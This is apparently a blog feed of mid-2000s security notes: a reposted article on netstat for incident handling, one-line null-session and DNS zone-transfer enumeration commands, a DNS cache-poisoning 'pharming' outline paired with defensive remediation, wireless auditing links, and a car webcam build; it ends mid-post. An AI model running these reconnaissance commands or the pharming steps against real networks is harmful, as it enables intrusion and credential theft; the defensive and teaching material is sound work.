src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6134723970931252074.post-4933300037478819841</id><published>2006-12-05T03:00:00.000-05:00</published><updated>2008-01-26T21:02:55.898-05:00</updated><title type='text'>Fun with Windows Netstat</title><content type='html'>A most excellent ISC article by Skoudis.  Unfortunately, I lost the link.&lt;br /&gt;&lt;br /&gt;&lt;h2&gt; &lt;a href="http://isc.sans.org/diary.php?storyid=1911" mce_href="http://isc.sans.org/diary.php?storyid=1911"&gt; Fun With Windows Netstat (NEW)&lt;/a&gt;&lt;/h2&gt;    &lt;div class="diarydates"&gt; Published: 2006-12-05,&lt;br /&gt;Last Updated: 2006-12-05 15:25:10 UTC by Ed Skoudis (Version: &lt;a href="http://isc.sans.org/diary.php?compare=1&amp;amp;storyid=1911" mce_href="http://isc.sans.org/diary.php?compare=1&amp;amp;storyid=1911"&gt;3(click to highlight changes)&lt;/a&gt;) &lt;/div&gt;    &lt;p&gt; &lt;/p&gt; I've often lamented the fact that Windows does not have a built-in lsof-like tool.  On Linux and UNIX, lsof gives all kinds of details about what various processes are up to.  Sure, we've got the Microsoft Sysinternals &lt;a href="http://www.microsoft.com/technet/sysinternals/processesandthreads/processmonitor.mspx" mce_href="http://www.microsoft.com/technet/sysinternals/processesandthreads/processmonitor.mspx" target="_self"&gt;Process Monitor&lt;/a&gt; tool, which is really cool, but is not built in.  And, of course, Windows doesn't include a built-in sniffer…&lt;br /&gt;&lt;br /&gt;One technique that I've been using a lot in incident handling, vulnerability assessment, malware analysis, and other sysadmin work over the last few months involves the traditional, humble netstat tool.  Although netstat is limited, I've found a specific use of it to be tremendously helpful.  Here are some scenarios.&lt;br /&gt;&lt;br /&gt;Fellow handler Mike Poor and I were at a client site, and Mike was doing a network scan.  I had one of the client's laptops, on which we could install no additional software.  I wanted to see when Mikey's wide-ranging scan reached my box, which did have an open port.  Here's what I ran:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: Courier New,Courier,mono;"&gt;C:\&gt; &lt;span style="font-weight: bold;"&gt;netstat –na 1 | find "[Scan_Host_IP_Addr]"&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The netstat command, used this way, shows TCP and UDP port activity.  The –n means to list numbers.  The –a indicates that we want all connections and listening ports.  In Windows netstat, the 1 means we want to run every second, repeatedly dumping the output on standard out.  That's a really nice feature of Windows netstat, because we can have it run continuously (every second) and scrape its output for what we want.  And, here we are looking through our output with the find command to see an indication of when Mike's box had accessed ours.  Note that I'm using find here, but another alternative would be the findstr command.  The find command can locate strings nicely, but findstr can process regular expressions.  I believe in using the appropriate tool for the job, and these simple searches work just fine with find.  If you want regexp stuff, use the more powerful findstr command.  Anyway, because the 3-way handshake or an actual connection will likely last more than 1 second, this technique will work.  Sadly, the technique does not work to capture sub-1-second events.  As Mikey continued the scan… Bingo!  We could see with 1-second accuracy when it reached my box.&lt;br /&gt;&lt;br /&gt;I've used this technique elsewhere as well.  A gentleman taking the SANS Security 504 class had a dilemma.  He was seeing a weird ICMP Host Unreachable message in his network.  When he looked at the destination address, it was going from his router back to his Domain Controller.  So, his DC was pushing out a packet to a machine that his router couldn't reach.  But, what process on his DC was sending this packet?  On the Domain Controller, we ran:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: Courier New,Courier,mono;"&gt;C:\&gt; &lt;span style="font-weight: bold;"&gt;netstat –nao 1 | find "[Dest_IP_Addr]"&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Here, I've added the –o flag, which makes Windows netstat print the PID.  You can then look up that PID using "&lt;span style="font-family: Courier New,Courier,mono; font-weight: bold;"&gt;wmic process list brief&lt;/span&gt;", "&lt;span style="font-family: Courier New,Courier,mono; font-weight: bold;"&gt;tasklist&lt;/span&gt;", or, if you insist, Task Manager (yuck!).  Then, you can see what process is emitting that packet, provided that it is using the TCP or UDP stack of Windows to send it, and that it takes at least a second.  Note that netstat also offers the –b flag, which makes it show the EXE and its associated DLLs that are using TCP and UDP ports.  However, I didn't use –b here, because it seriously hurts performance.  For whatever reason, it takes netstat a lot of CPU cycles to get the EXE and DLL info, cycles that we cannot spare on a Domain Controller.  And, running "netstat –naob" every second would be a serious drain on processor resources.&lt;br /&gt;&lt;br /&gt;Sadly, the -o and -b options in netstat are not available in Windows NT and 2000.  As far as I'm concerned, those older Windows are barely manageable at all.  WinXP and 2003 are much better, and netstat supports -o and -b in them, to say nothing of wmic, tasklist, taskkill, etc.&lt;br /&gt;&lt;br /&gt;Here's another one.  We were working on an investigation where an evil process would start up, and eventually (not instantly) listen on TCP port 2222.  We wanted to know when it started listening, so we ran:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: Courier New,Courier,mono;"&gt;C:\&gt; &lt;span style="font-weight: bold;"&gt;netstat –na 1 | find "2222"&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;And, here's one final one for you.  I was working on an investigation, and we had a process listening on a given TCP port (let's say, for example, it was TCP port 4444).  We wanted to know when the bad guy connected to it.  We ran:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: Courier New,Courier,mono;"&gt;C:\&gt; &lt;span style="font-weight: bold;"&gt;netstat –na 1 | find "4444" | find "ESTABLISHED"&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;This will print nothing until the output of netstat includes an established connection on port 4444.  So, with approximately 1-second accuracy, we were able to see when someone connected to the port, knowing that our bad guy had come calling.  Also, this output includes the source IP address connected to the port, a helpful thing in an investigation.&lt;br /&gt;&lt;br /&gt;Now, obviously you could do all of this with a sniffer, with more accuracy and detail.  But, netstat is built-in, and these command are easy and quick to type.&lt;br /&gt;&lt;br /&gt;--Ed Skoudis.&lt;br /&gt;Handler on Duty&lt;br /&gt;Intelguardians&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6134723970931252074-4933300037478819841?l=pinowudi.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pinowudi.blogspot.com/feeds/4933300037478819841/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6134723970931252074&amp;postID=4933300037478819841' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/4933300037478819841'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/4933300037478819841'/><link rel='alternate' type='text/html' href='http://pinowudi.blogspot.com/2006/12/fun-with-windows-netstat.html' title='Fun with Windows Netstat'/><author><name>pinowudi</name><uri>http://www.blogger.com/profile/12371914797942915778</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6134723970931252074.post-4106790856673216066</id><published>2006-10-26T03:00:00.000-04:00</published><updated>2008-01-26T21:03:57.750-05:00</updated><title type='text'>Malware Analysis Toolkit</title><content type='html'>&lt;a href="http://isc.sans.org/diary.php?storyid=1801"&gt;http://isc.sans.org/diary.php?storyid=1801&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6134723970931252074-4106790856673216066?l=pinowudi.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pinowudi.blogspot.com/feeds/4106790856673216066/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6134723970931252074&amp;postID=4106790856673216066' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/4106790856673216066'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/4106790856673216066'/><link rel='alternate' type='text/html' href='http://pinowudi.blogspot.com/2006/10/malware-analysis-toolkit.html' title='Malware Analysis Toolkit'/><author><name>pinowudi</name><uri>http://www.blogger.com/profile/12371914797942915778</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6134723970931252074.post-5159452343385874839</id><published>2006-10-13T03:00:00.001-04:00</published><updated>2008-01-26T21:06:58.133-05:00</updated><title type='text'>Checking for Null Sessions</title><content type='html'>&lt;p&gt;&gt; net use \\host "" /u:""&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;Tells you if the Windows server is vulnerable to further attacks based on null sessions over SMB.&lt;br /&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6134723970931252074-5159452343385874839?l=pinowudi.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pinowudi.blogspot.com/feeds/5159452343385874839/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6134723970931252074&amp;postID=5159452343385874839' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/5159452343385874839'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/5159452343385874839'/><link rel='alternate' type='text/html' href='http://pinowudi.blogspot.com/2006/10/checking-for-null-sessions.html' title='Checking for Null Sessions'/><author><name>pinowudi</name><uri>http://www.blogger.com/profile/12371914797942915778</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6134723970931252074.post-7205908174104497872</id><published>2006-10-13T03:00:00.000-04:00</published><updated>2008-01-26T21:06:07.970-05:00</updated><title type='text'>DNS Transfer Enumeration</title><content type='html'>&lt;p&gt;Useful for testing NIDS sigs and network footprinting.&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&gt; nslookup&lt;/p&gt;&lt;p&gt;server &lt;server&gt;&lt;/p&gt;&lt;p&gt;ls -d &lt;domain&gt;&lt;br /&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6134723970931252074-7205908174104497872?l=pinowudi.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pinowudi.blogspot.com/feeds/7205908174104497872/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6134723970931252074&amp;postID=7205908174104497872' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/7205908174104497872'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/7205908174104497872'/><link rel='alternate' type='text/html' href='http://pinowudi.blogspot.com/2006/10/dns-transfer-enumeration.html' title='DNS Transfer Enumeration'/><author><name>pinowudi</name><uri>http://www.blogger.com/profile/12371914797942915778</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6134723970931252074.post-7742938064766246070</id><published>2006-07-06T03:00:00.000-04:00</published><updated>2008-01-26T20:09:54.203-05:00</updated><title type='text'>Uses for a DNS Cache Poison</title><content type='html'>&lt;p&gt;A short-lived targeted attack (black hat):&lt;/p&gt;&lt;ul&gt;&lt;li&gt; Identify a vulnerable DNS server upstram from your target.&lt;/li&gt;&lt;li&gt;Poison the target's upstream DNS server for a common web service they access.  Broad scope (e.g. tsp.gov, google.com) or narrow scope (e.g. some.project.page.contractor.com).&lt;/li&gt;&lt;li&gt;Throw up a web server that looks reasonably like the original.  Have some nasty links/exploits in tehre.  Entice the user to click or enter information like logins for the original site.  Collect data.  Hack clients.  This is the 'pharming' concept.&lt;/li&gt;&lt;li&gt;Natural end: simply stop poisoning the upstram server.  The attack will end when the caches refresh the old data.&lt;/li&gt;&lt;li&gt;Quicker end: re-poison (or un-poison) the upsteam cache with the correct address.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Ideas for defense (white hat):&lt;/p&gt;&lt;p&gt;Determine the scope of impact&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Create s script to do non-recursive lookups of all DNS cache servers for the suspect domain all the way to the network border (and maybe beyond into the upstream if possible).  Aggregate the data for analysis.&lt;/li&gt;&lt;li&gt;Parse the data and identify cache servers that do not resolve to the expected set of IP addresses.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;What's poisoned?&lt;/p&gt;&lt;ul&gt;&lt;li&gt; Reverse-DNS the suspected poisoned IP.  Discovering what its PTR record is may reveal useful information.&lt;/li&gt;&lt;li&gt;Use an independent source (not the targeted network) to resolve the suspect domain for "real" IP addresses.  Compare this to the data set.&lt;/li&gt;&lt;li&gt;Identify cache servers that do not resolve correctly.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Remediation&lt;/p&gt;&lt;ul&gt;&lt;li&gt; Determine the root of the poison through TTL and DNS forwarder analysis of the cache servers.  Get as close to the top as possible.&lt;/li&gt;&lt;li&gt;Clear caches, starting at the border, and working inward.  As cache requests are made during the flush process, the remediation will be helped along by pulling the now-correct data from the upstream caches.  Conversely, starting at the bottom leaves caches vulnerable to reinfection from upstream servers.&lt;/li&gt;&lt;li&gt;If you cannot determine the poison's root, or determine that it is upstream in or beyond your ISP, consider redirecting to other upstream DNS forwarders until the main feeds are fixed.  Ask the ISP for assistance if necessary.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Long term&lt;/p&gt;&lt;ul&gt;&lt;li&gt; Consider shifting the border (top level) DNS cache forwarders from time to time or even at regular intervals in rotation.  It may change the dynamics of your network infrastructure enough to make poisoning more difficult for the attacker.&lt;/li&gt;&lt;li&gt;Ensure DNS engine patches are up-to-date.   Demand the same of your upstream feeders. &lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6134723970931252074-7742938064766246070?l=pinowudi.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pinowudi.blogspot.com/feeds/7742938064766246070/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6134723970931252074&amp;postID=7742938064766246070' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/7742938064766246070'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/7742938064766246070'/><link rel='alternate' type='text/html' href='http://pinowudi.blogspot.com/2006/07/uses-for-dns-cache-poison.html' title='Uses for a DNS Cache Poison'/><author><name>pinowudi</name><uri>http://www.blogger.com/profile/12371914797942915778</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6134723970931252074.post-4371018581926641962</id><published>2006-02-12T03:00:00.000-05:00</published><updated>2008-01-26T20:01:54.776-05:00</updated><title type='text'>Encrypted Malware and Code Reusability</title><content type='html'>A decent article walking through a malware analysis.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://isc.sans.org/diary.html?storyid=2223" mce_href="http://isc.sans.org/diary.html?storyid=2223"&gt;http://isc.sans.org/diary.html?storyid=2223 &lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6134723970931252074-4371018581926641962?l=pinowudi.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pinowudi.blogspot.com/feeds/4371018581926641962/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6134723970931252074&amp;postID=4371018581926641962' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/4371018581926641962'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/4371018581926641962'/><link rel='alternate' type='text/html' href='http://pinowudi.blogspot.com/2006/02/encrypted-malware-and-code-reusability.html' title='Encrypted Malware and Code Reusability'/><author><name>pinowudi</name><uri>http://www.blogger.com/profile/12371914797942915778</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6134723970931252074.post-6217598417983685016</id><published>2005-12-20T03:00:00.001-05:00</published><updated>2008-01-26T20:18:04.723-05:00</updated><title type='text'>Car Webcam Surveillance System</title><content type='html'>&lt;h2&gt; Main Idea: LINUX-based Web Cam Recorder &lt;/h2&gt; &lt;p&gt; The idea is to have an on-board laptop with web server to snap pics with the webcam every few seconds and record the data to the hard drive. A wireless connection at the house and server will provide for syncronization of the data when the car returns into the range of the base AP. &lt;/p&gt; &lt;ol&gt;&lt;li&gt; Acquire an old laptop with a hard drive and USB port. &lt;/li&gt;&lt;li&gt; Get a USB web camera. Mount it to the back of the car by the center brake light. Run the cable to the trunk. Get a USB extension cable if nec. &lt;/li&gt;&lt;li&gt; Get a wireless card that is compatible with LINUX. Recommended, any Prism-based 802.11 card or Orinoco Gold. Prism 802.11g chips are supported in LINUX, but the driver setup can be involved. Do some research and be prepared. &lt;/li&gt;&lt;li&gt; Get a DC/AC power converter.  Run the DC power connect from the lighter or other car outlet back to the trunk of the vehicle. &lt;/li&gt;&lt;li&gt; If the battery of the laptop is not operable, a small UPS may be desirable for use. Disable the alarms through the console setup, if available. APC brand recommended. Make sure it has "smart" firmware. &lt;/li&gt;&lt;li&gt; Load LINUX to the laptop. Use a journaling file system, like xfs or reiserfs as the machine will probably experience frequent power loss. Software required: apache, cron, scp, webcam image capture software or scripts, wireless drivers/scripts. &lt;/li&gt;&lt;li&gt; Setup the wireless connection. It can be configured in any way, so long as you can connect to it from another machine and view the apache dir with the webcam captures. &lt;/li&gt;&lt;li&gt; Setup LINUX power management for no power alert alarms. Preferably, it will have no GUI (init:3) and no sound drivers as it can get distracting. Set the power management software to shut the system down at 5% on-board battery power. If using a UPS in lieu of an on-board battery, use NUT or APCUPSD and set for shutdown at 3% power. Or you can use both. :) &lt;/li&gt;&lt;li&gt; Setup webcam capture script/app to collect the image every few seconds.  Save it to a local directory in the web hierarchy. &lt;/li&gt;&lt;/ol&gt; &lt;hr /&gt;  &lt;h2&gt; Option: Wireless Sync to a base server &lt;/h2&gt; &lt;ol&gt;&lt;li&gt; Ensure the wireless settings do not allow the card to "roam" to any other APs or ad-hoc networks. It should only connect to the base AP. &lt;/li&gt;&lt;li&gt; The base server in the house requires SSH. Create an account for the laptop to dump files to. Generate keys on the laptop and perform the exchange so that the laptop can connect to it's account on the server automatically with SCP. &lt;/li&gt;&lt;li&gt; Create a script that will scp all files in the webcam directory to the base server, then delete them if successful. &lt;/li&gt;&lt;li&gt; Schedule scp script to execute every minute in cron.  Throw output to /dev/null. &lt;/li&gt;&lt;/ol&gt; &lt;ul&gt;&lt;li&gt; An ftp client could be used for this exercise, but is not recommended as it is not encrypted. &lt;/li&gt;&lt;/ul&gt; &lt;hr /&gt;  &lt;h2&gt; Alternate Setup: Bootable LINUX CD &lt;/h2&gt; &lt;p&gt; This configuration maximizes the HD space available for recording. Follow the above with the following modifications: &lt;/p&gt; &lt;ol&gt;&lt;li&gt; Acquire an old laptop with hard drive, CD drive and USB port. &lt;/li&gt;&lt;li&gt; Get a USB pen drive (flash drive, thumb drive).  Recommend 1GB space. &lt;/li&gt;&lt;li&gt; Burn a copy of a bootable linux CD.  Knoppix, Debian, etc. &lt;/li&gt;&lt;li&gt; Modify the BIOS of the laptop. set CDROM as the boot device. set power settings to power it ON in the event of a power failure. Save and exit. &lt;/li&gt;&lt;li&gt; Boot to the LINUX CD.  Establish the settings you want and save to the USB drive. &lt;/li&gt;&lt;/ol&gt; &lt;ul&gt;&lt;li&gt; You will have to run some rc scripts from the usb drive at bootup to ensure that the web server, sync scripts, and wireless card are running when the machine powers up. &lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6134723970931252074-6217598417983685016?l=pinowudi.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pinowudi.blogspot.com/feeds/6217598417983685016/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6134723970931252074&amp;postID=6217598417983685016' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/6217598417983685016'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/6217598417983685016'/><link rel='alternate' type='text/html' href='http://pinowudi.blogspot.com/2005/12/car-webcam-surveillance-system.html' title='Car Webcam Surveillance System'/><author><name>pinowudi</name><uri>http://www.blogger.com/profile/12371914797942915778</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6134723970931252074.post-715175626342280487</id><published>2005-12-20T03:00:00.000-05:00</published><updated>2008-01-26T20:17:09.593-05:00</updated><title type='text'>Clustered Intruson Detection System</title><content type='html'>Ideas for creating a scalable architecture for very large enterprises.&lt;br /&gt;&lt;ul&gt;&lt;li&gt; Create a LINUX-based IDS appliance with clustering enabled. &lt;/li&gt;&lt;li&gt; After establishment of first node, additional nodes can be dropped in and configured directly into the cluster. &lt;/li&gt;&lt;li&gt; Added nodes will pull configurations from existing nodes and self-configure after initial node config. &lt;/li&gt;&lt;li&gt; Once finalized, nodes will form cluster and share CPU, memory, and application space. This provides drop-in scalability merely by adding more appliance units and configuring. &lt;/li&gt;&lt;li&gt; Incoming spanned traffic will have to be load balanced among promiscuous NICs. &lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6134723970931252074-715175626342280487?l=pinowudi.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pinowudi.blogspot.com/feeds/715175626342280487/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6134723970931252074&amp;postID=715175626342280487' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/715175626342280487'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/715175626342280487'/><link rel='alternate' type='text/html' href='http://pinowudi.blogspot.com/2005/12/clustered-intruson-detection-system.html' title='Clustered Intruson Detection System'/><author><name>pinowudi</name><uri>http://www.blogger.com/profile/12371914797942915778</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6134723970931252074.post-6087000050685762368</id><published>2005-12-15T03:00:00.000-05:00</published><updated>2008-01-26T18:37:41.378-05:00</updated><title type='text'>Securing Wireless: Presentation Notes</title><content type='html'>&lt;h2&gt; Course 1 - Implementing Wireless Security &lt;/h2&gt;  &lt;h3&gt; Agenda &lt;/h3&gt;  &lt;ol&gt;&lt;li&gt; Standards Overview &lt;/li&gt;&lt;li&gt; Considerations for Your Enterprise &lt;ol&gt;&lt;li&gt; Regulations Compliance &lt;/li&gt;&lt;li&gt; Data Value &lt;/li&gt;&lt;li&gt; Public Perception &lt;/li&gt;&lt;/ol&gt; &lt;/li&gt;&lt;li&gt; Implementing Security &lt;ol&gt;&lt;li&gt; WEP &lt;/li&gt;&lt;li&gt; WPA &lt;/li&gt;&lt;li&gt; WPA2/802.11i &lt;/li&gt;&lt;li&gt; TKIP/LEAP/PEAP &lt;/li&gt;&lt;li&gt; MAC filtering &lt;/li&gt;&lt;li&gt; 802.1x &lt;/li&gt;&lt;li&gt; Bluetooth &lt;/li&gt;&lt;/ol&gt; &lt;/li&gt;&lt;li&gt; Detecting Problems &lt;ol&gt;&lt;li&gt; Rogue AP &lt;/li&gt;&lt;li&gt; Rogue Client &lt;/li&gt;&lt;li&gt; Attacks &lt;/li&gt;&lt;li&gt; Failures &lt;/li&gt;&lt;/ol&gt; &lt;/li&gt;&lt;li&gt; Links &lt;/li&gt;&lt;li&gt; Contact &lt;/li&gt;&lt;/ol&gt;  &lt;hr /&gt;  &lt;h2&gt; Course 2 - Auditing Wireless Security &lt;/h2&gt;  &lt;h3&gt; Agenda &lt;/h3&gt;  &lt;ol&gt;&lt;li&gt; Auditing Wireless Security &lt;/li&gt;&lt;li&gt; Discovery &lt;ol&gt;&lt;li&gt; Kismet &lt;/li&gt;&lt;li&gt; Netstumbler &lt;/li&gt;&lt;li&gt; GPS Mapping &lt;/li&gt;&lt;/ol&gt; &lt;/li&gt;&lt;li&gt; Types of Attack &lt;ol&gt;&lt;li&gt; WEP &lt;/li&gt;&lt;li&gt; WPA &lt;/li&gt;&lt;li&gt; LEAP &lt;/li&gt;&lt;li&gt; Deauthentication &lt;/li&gt;&lt;li&gt; Bluetooth &lt;/li&gt;&lt;/ol&gt; &lt;/li&gt;&lt;li&gt; Links &lt;/li&gt;&lt;li&gt; Contact &lt;/li&gt;&lt;/ol&gt;  &lt;hr /&gt;  &lt;p&gt; &lt;a href="http://www.kismetwireless.net/" mce_href="http://www.kismetwireless.net/"&gt;Kismet&lt;/a&gt; &lt;/p&gt;  &lt;p&gt; &lt;a href="http://www.netstumbler.com/" mce_href="http://www.netstumbler.com/"&gt;Netstumbler&lt;/a&gt; &lt;/p&gt;  &lt;p&gt; &lt;a href="http://www.crimemachine.com/Tuts/Flash/void11.html" mce_href="http://www.crimemachine.com/Tuts/Flash/void11.html"&gt;Void11 DOS&lt;/a&gt; &lt;/p&gt;  &lt;p&gt; &lt;a href="http://www.crimemachine.com/Tuts/Flash/wepcracking.html" mce_href="http://www.crimemachine.com/Tuts/Flash/wepcracking.html"&gt;WEP Cracking&lt;/a&gt; &lt;/p&gt;  &lt;p&gt; &lt;a href="http://www.crimemachine.com/Tuts/Flash/WPA.html" mce_href="http://www.crimemachine.com/Tuts/Flash/WPA.html"&gt;WPA Cracking&lt;/a&gt; &lt;/p&gt;  &lt;p&gt; &lt;a href="http://www.crimemachine.com/Tuts/Video/bluetooth.html" mce_href="http://www.crimemachine.com/Tuts/Video/bluetooth.html"&gt;Bluetooth Snarfing&lt;/a&gt; &lt;/p&gt;  &lt;p&gt; &lt;a href="http://www.remote-exploit.org/index.php/Tutorials" mce_href="http://www.remote-exploit.org/index.php/Tutorials"&gt;Auditing Tutorials&lt;/a&gt; &lt;/p&gt;  &lt;p&gt; &lt;a href="http://www.infoworld.com/article/04/04/08/HNciscohacking_1.html" mce_href="http://www.infoworld.com/article/04/04/08/HNciscohacking_1.html"&gt;LEAP Hack&lt;/a&gt; &lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6134723970931252074-6087000050685762368?l=pinowudi.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pinowudi.blogspot.com/feeds/6087000050685762368/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6134723970931252074&amp;postID=6087000050685762368' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/6087000050685762368'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/6087000050685762368'/><link rel='alternate' type='text/html' href='http://pinowudi.blogspot.com/2005/12/securing-wireless-presentation-notes.html' title='Securing Wireless: Presentation Notes'/><author><name>pinowudi</name><uri>http://www.blogger.com/profile/12371914797942915778</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6134723970931252074.post-1395207959857399397</id><published>2005-12-14T03:00:00.000-05:00</published><updated>2008-01-26T18:38:35.913-05:00</updated><title type='text'>Wireless Overview Notes</title><content type='html'>&lt;h3&gt; Agenda &lt;/h3&gt;  &lt;ol&gt;&lt;li&gt; Overview &lt;/li&gt;&lt;li&gt; Defining Wireless &lt;/li&gt;&lt;li&gt; COTS Products &lt;/li&gt;&lt;li&gt; Considerations for 802.11b/g &lt;ol&gt;&lt;li&gt; Frequency Interference &lt;/li&gt;&lt;li&gt; Range/Coverage &lt;/li&gt;&lt;li&gt; Speed &lt;/li&gt;&lt;/ol&gt; &lt;/li&gt;&lt;li&gt; Configuration Example &lt;ol&gt;&lt;li&gt; Linksys WRT54G &lt;/li&gt;&lt;/ol&gt; &lt;/li&gt;&lt;li&gt; COTS Security 